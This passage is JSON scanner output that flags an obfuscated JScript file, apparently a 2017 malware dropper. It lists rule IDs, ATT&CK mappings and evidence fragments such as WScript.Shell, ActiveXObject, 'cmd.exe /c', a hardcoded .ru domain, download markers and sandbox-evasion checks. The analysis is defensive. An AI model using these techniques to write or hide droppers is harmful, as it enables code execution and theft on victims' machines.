7379, "abtejfi" ], [ 7380, "abtejfi" ], [ 7415, "undefined" ], [ 7416, "undefined" ], [ 7502, "WScript.Shell" ], [ 7503, "WScript.Shell" ], [ 7618, "undefined" ], [ 7619, "undefined" ], [ 7706, "50792" ], [ 7707, "50792" ], [ 7735, "glevwo" ], [ 7736, "glevwo" ], [ 7778, "ukebdo" ], [ 7779, "ukebdo" ], [ 7854, "eceghahby" ], [ 7855, "eceghahby" ], [ 8011, "dyryh" ], [ 8012, "dyryh" ], [ 8092, "tvifrojucy" ], [ 8093, "tvifrojucy" ], [ 8169, "fqokhuty" ], [ 8170, "fqokhuty" ], [ 8280, "bup" ], [ 8281, "bup" ], [ 8367, "object" ], [ 8368, "object" ], [ 8407, "84802" ], [ 8408, "84802" ], [ 8523, "xtiguzcybu" ], [ 8524, "xtiguzcybu" ], [ 8610, "53360" ], [ 8611, "53360" ], [ 8655, "eqy" ], [ 8656, "eqy" ], [ 8738, "86928" ], [ 8739, "86928" ], [ 8815, "quvb" ], [ 8816, "quvb" ], [ 8850, "60382" ], [ 8851, "60382" ], [ 9048, "23635" ], [ 9049, "23635" ], [ 9088, "xmanh" ], [ 9089, "xmanh" ], [ 9330, "feghocfijo" ], [ 9331, "feghocfijo" ], [ 9402, "lusrugn" ], [ 9403, "lusrugn" ], [ 9475, "lul" ], [ 9476, "lul" ], [ 9673, "lisi" ], [ 9674, "lisi" ], [ 9709, "bjowcehsunw" ], [ 9710, "bjowcehsunw" ], [ 9751, "75662" ], [ 9752, "75662" ], [ 10123, "oqfavutca" ], [ 10124, "oqfavutca" ], [ 10294, "ogsa" ], [ 10295, "ogsa" ], [ 10327, "zibok" ], [ 10328, "zibok" ], [ 10400, "29728" ], [ 10401, "29728" ], [ 10479, "vwux" ], [ 10480, "vwux" ], [ 10629, "66058" ], [ 10630, "66058" ], [ 10775, "59292" ], [ 10776, "59292" ], [ 11067, "oqfavutca" ], [ 11068, "oqfavutca" ], [ 11238, "ogsa" ], [ 11239, "ogsa" ], [ 11271, "zibok" ], [ 11272, "zibok" ], [ 11344, "29728" ], [ 11345, "29728" ], [ 11423, "vwux" ], [ 11424, "vwux" ], [ 11573, "66058" ], [ 11574, "66058" ], [ 11719, "59292" ], [ 11720, "59292" ], [ 12027, "diqdiklogi" ], [ 12028, "diqdiklogi" ], [ 12069, "ebigabmub" ], [ 12070, "ebigabmub" ], [ 12231, "mylboqugp" ], [ 12232, "mylboqugp" ] ], "sz": 22750, "ts": [ { "c": 1.0, "d": "Regex component marker", "e": [ "dunwa = null;" ], "i": "micro-behaviors/process/create/shell/injection::iot-param-injection-cond-2--inline-3976", "l": 1 }, { "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "t.Sh" ], "i": "objectives/execution/interpreter/scripting/host::wscript-shell-split-join--rx-3", "l": 1 }, { "a": "T1497.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "eval" ], "i": "objectives/anti-analysis/timing/timer::js-newdate-then-eval--rx-5", "l": 1 }, { "a": "T1497.001", "c": 0.75, "d": "Assigns typeof document to variable", "e": [ "muvdotefhi = typeof document" ], "i": "objectives/anti-analysis/environment-detect/wsh::env-check-no-document-var", "l": 1, "m": "B0003" }, { "c": 0.800000011920929, "d": "JScript file type (WScript host)", "e": [ "WScript" ], "i": "micro-behaviors/process/interpreter/jscript::is-jscript", "l": 1 }, { "a": "T1027.003", "c": 1.0, "d": "JavaScript or TypeScript source file extension", "e": [ "20170506_ecccca5ec2f20a344624f121ede95103.js" ], "i": "objectives/anti-static/obfuscation/payload/container::js-source-extension", "l": 1, "m": "B0032" }, { "c": 0.800000011920929, "d": "Instantiates WScript.Shell object", "e": [ "WScript.Shell" ], "i": "micro-behaviors/os/wsh/file::wscript-shell-object", "l": 3 }, { "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "crip" ], "i": "objectives/execution/interpreter/scripting/host::wscript-shell-split-join--rx-2", "l": 1 }, { "a": "T1027", "c": 0.75, "d": "Many no-param functions", "e": [ "functions.no_params_count = 48.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/functions::many-no-param-functions", "l": 2, "m": "B0032" }, { "c": 1.0, "d": "JavaScript file basename", "e": [ "20170506_ecccca5ec2f20a344624f121ede95103.js" ], "i": "metadata/lang/encoded/unicode-escape::javascript-or-dll-basename", "l": 2 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "Hardcoded .ru domain", "e": [ "'ating.ru/" ], "i": "objectives/command-and-control/infrastructure/domain/heuristic::hardcoded-domain-ru", "l": 3, "m": "C0002" }, { "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "length" ], "i": "objectives/anti-static/obfuscation/syntax::js-eval-word-parts--rx-1", "l": 1 }, { "a": "T1027", "c": 1.0, "d": "Many unique import modules", "e": [ "imports.unique_modules = 278.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::imports-unique-modules-50", "l": 1, "m": "B0032" }, { "c": 0.8199999928474426, "d": "Opaque predicate using literal compare", "e": [ "if (aktas() == 754)" ], "i": "objectives/anti-static/obfuscation/control-flow/retry::opaque-predicate-literal-compare", "l": 4 }, { "a": "T1204.002", "c": 0.8999999761581421, "d": "PowerShell archive download tool marker", "e": [ "iwr" ], "i": "objectives/command-and-control/dropper/staging/archive::powershell-download-archive-tool", "l": 1 }, { "c": 1.0, "d": "JavaScript many imported modules", "e": [ "imports.unique_modules = 278.00" ], "i": "objectives/anti-static/obfuscation/string/anomaly::js-many-import-modules", "l": 1 }, { "a": "T1027", "c": 0.949999988079071, "d": "Regex component marker", "e": [ "eval" ], "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-then-eval--rx-14", "l": 1, "m": "B0032" }, { "a": "T1539", "c": 0.800000011920929, "d": "Filters vwo/vis_opt cookies to evade analytics", "e": [ "vwo" ], "i": "objectives/collection/stealer/browser::cookie-filter-vwo-vis-opt", "l": 1 }, { "a": "T1036.008", "c": 0.949999988079071, "d": "Filename has .js extension", "e": [ "20170506_ecccca5ec2f20a344624f121ede95103.js" ], "i": "objectives/evasion/masquerade/extension/shebang::js-extension-name", "l": 1, "m": "F0008" }, { "c": 0.800000011920929, "d": "Function returns variable string value", "e": [ "ezato", "guvhycp", "ajsuvust", "cpekage", "olpigat", "oxwofdeqr", "opanjes", "ywupfuk" ], "i": "objectives/anti-static/obfuscation/string/reconstruct::function-returns-variable-string", "l": 3 }, { "c": 0.75, "d": "Indirect string replacement call", "e": [ "[jyxfupq](pjiciwe, agezu)" ], "i": "objectives/anti-static/obfuscation/string/recovery::js-indirect-replace-call", "l": 1 }, { "c": 0.949999988079071, "d": "eval/Function call inside flatted-shaped file", "e": [ "eval(" ], "i": "well-known/lib/flatted::flatted-tamper-eval", "l": 1 }, { "a": "T1497.001", "c": 0.75, "d": "Compares value against undefined string", "e": [ "== \"undefined\"" ], "i": "objectives/anti-analysis/environment-detect/wsh::env-check-undefined-compare", "l": 1, "m": "B0003" }, { "c": 0.8500000238418579, "d": "ActiveXObject usage (JScript/VBScript)", "e": [ "ActiveXObject(" ], "i": "objectives/command-and-control/dropper/builder::activex-object-dup", "l": 1 }, { "a": "T1552.001, T1041", "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "data" ], "i": "objectives/supply-chain/recon-exfil/ai-cli::github-content-base64-upload--rx-36", "l": 1, "m": "E1552" }, { "a": "T1027", "c": 0.8999999761581421, "d": "Low string density base64 context", "e": [ "text.string_density = 0.52" ], "i": "objectives/anti-static/obfuscation/code-metrics/string-blob::js-base64-candidate-low-string-density", "l": 1, "m": "B0032" }, { "c": 0.9599999785423279, "d": "Regex component marker", "e": [ "undefined" ], "i": "well-known/malware/stealer/ottercookie::base91-const-array--rx-1", "l": 1 }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 828.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "c": 0.9599999785423279, "d": "Regex component marker", "e": [ "length" ], "i": "well-known/malware/stealer/ottercookie::base91-const-array--rx-2", "l": 1 }, { "c": 1.0, "d": "XOR bitwise operator in expression", "e": [ "N^oPRO" ], "i": "micro-behaviors/data/source/syntax/keyword::js-keyword-xor", "l": 2 }, { "c": 0.800000011920929, "d": "WScript.Shell object string", "e": [ "WScript.Shell" ], "i": "micro-behaviors/os/com/object::wscript-shell-literal", "l": 3 }, { "a": "T1202", "c": 0.800000011920929, "d": "new ActiveXObject pattern", "e": [ "new ActiveXObject(" ], "i": "objectives/execution/activex/com::activex-object-create-literal", "l": 3, "m": "E1243" }, { "c": 0.949999988079071, "d": "Large bundled JavaScript graph", "e": [ "imports.unique_modules = 278.00" ], "i": "metadata/library/structure::js-large-module-bundle", "l": 2 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Exactly one line exceeds 1000 chars", "e": [ "text.lines_over_1000 = 1.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier", "l": 1, "m": "B0032" }, { "c": 0.8999999761581421, "d": "ActiveXObject instantiation call", "e": [ "new ActiveXObject(" ], "i": "objectives/execution/interpreter/script/wsh::activexobject-call", "l": 1 }, { "c": 0.8500000238418579, "d": "Execute commands via cmd.exe /c", "e": [ "cmd.exe /c" ], "i": "micro-behaviors/process/create/shell/invoke::cmd-exe-c-command", "l": 3 }, { "c": 0.8799999952316284, "d": "Indirect bracketed WScript command invocation", "e": [ "uflegqom[jyxfupq](pjiciwe, agezu)" ], "i": "micro-behaviors/process/create/shell/wsh::wscript-shell-run-indirect", "l": 1 }, { "a": "T1105", "c": 0.8500000238418579, "d": "Regex component marker", "e": [ "data" ], "i": "objectives/command-and-control/dropper/delivery/fetch-eval::new-function-variable-body--rx-8", "l": 1 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Large import graph base64 context", "e": [ "imports.unique_modules = 278.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/string-blob::js-base64-candidate-large-import-graph", "l": 1, "m": "B0032" }, { "c": 1.0, "d": "Infinite loop structure (e.g. for(;;) or while(1))", "e": [ "while (1)" ], "i": "micro-behaviors/data/control-flow/loop::infinite-loop-header", "l": 2 }, { "c": 1.0, "d": "ActiveXObject string presence", "e": [ "ActiveXObject" ], "i": "micro-behaviors/process/interpreter/jscript::activex-object", "l": 3 }, { "a": "T1553.004", "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "undefined" ], "i": "objectives/evasion/security-bypass/tls::check-server-identity-bypass--rx-9", "l": 1 }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 1141.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1027", "c": 0.8399999737739563, "d": "Decoded property function alias", "e": [ "var nywizf = odujzyw[ukuzem]" ], "i": "objectives/supply-chain/hidden-payload/trojan::decoded-property-function-alias", "l": 1, "m": "B0032" }, { "a": "T1056", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "document" ], "i": "objectives/credential-access/email/webmail/hidden-autofill::username-password-read--rx-5", "l": 1 }, { "c": 1.0, "d": "Tiny WScript.Shell fragment (variant 2a)", "e": [ "WScri" ], "i": "objectives/execution/interpreter/script/wsh-fragments::wscript-shell-fragment-tiny-2a", "l": 1 }, { "c": 0.8199999928474426, "d": "Parallel token arrays for substitution", "e": [ "var odujzyw = [hsyffav, xabdoge, efeca, igudxyvp, ccyxy, cduwmawy, omehoq, oqkas, zqomfewn, ryjer, hhijarje, ivupy, ubvuhorl, xi" ], "i": "objectives/anti-static/obfuscation/string/recovery::js-parallel-token-arrays", "l": 4 }, { "c": 1.0, "d": "Tiny WScript.Shell fragment (variant 2b)", "e": [ "ipt.S" ], "i": "objectives/execution/interpreter/script/wsh-fragments::wscript-shell-fragment-tiny-2b", "l": 1 }, { "c": 0.4000000059604645, "d": "cmd.exe Windows command shell reference", "e": [ "cmD.eXE" ], "i": "objectives/execution/interpreter/script/shell::cmd-exe-dup", "l": 1 }, { "a": "T1497.001", "c": 0.9200000166893005, "d": "WSH execution gated on document absence", "e": [ "muvdotefhi = typeof document", "== \"undefined\"", "WScript.Shell" ], "i": "objectives/anti-analysis/environment-detect/wsh::wsh-document-absence-gate", "l": 4, "m": "B0003" }, { "c": 0.8999999761581421, "d": "Obfuscated WScript.Shell Run invocation", "e": [ "WScript.Shell", "uflegqom[jyxfupq](pjiciwe, agezu)" ], "i": "micro-behaviors/process/create/shell/wsh::wscript-shell-run-obfuscated", "l": 3 } ], "sha": "bed3c6febfffa39cf88f1b07fa1fc2cf1542e1089c0d42249079826dfaf8b10d", "path": "20170506_ecccca5ec2f20a344624f121ede95103.js", "type": "javascript" } ], "tv": "db300" } }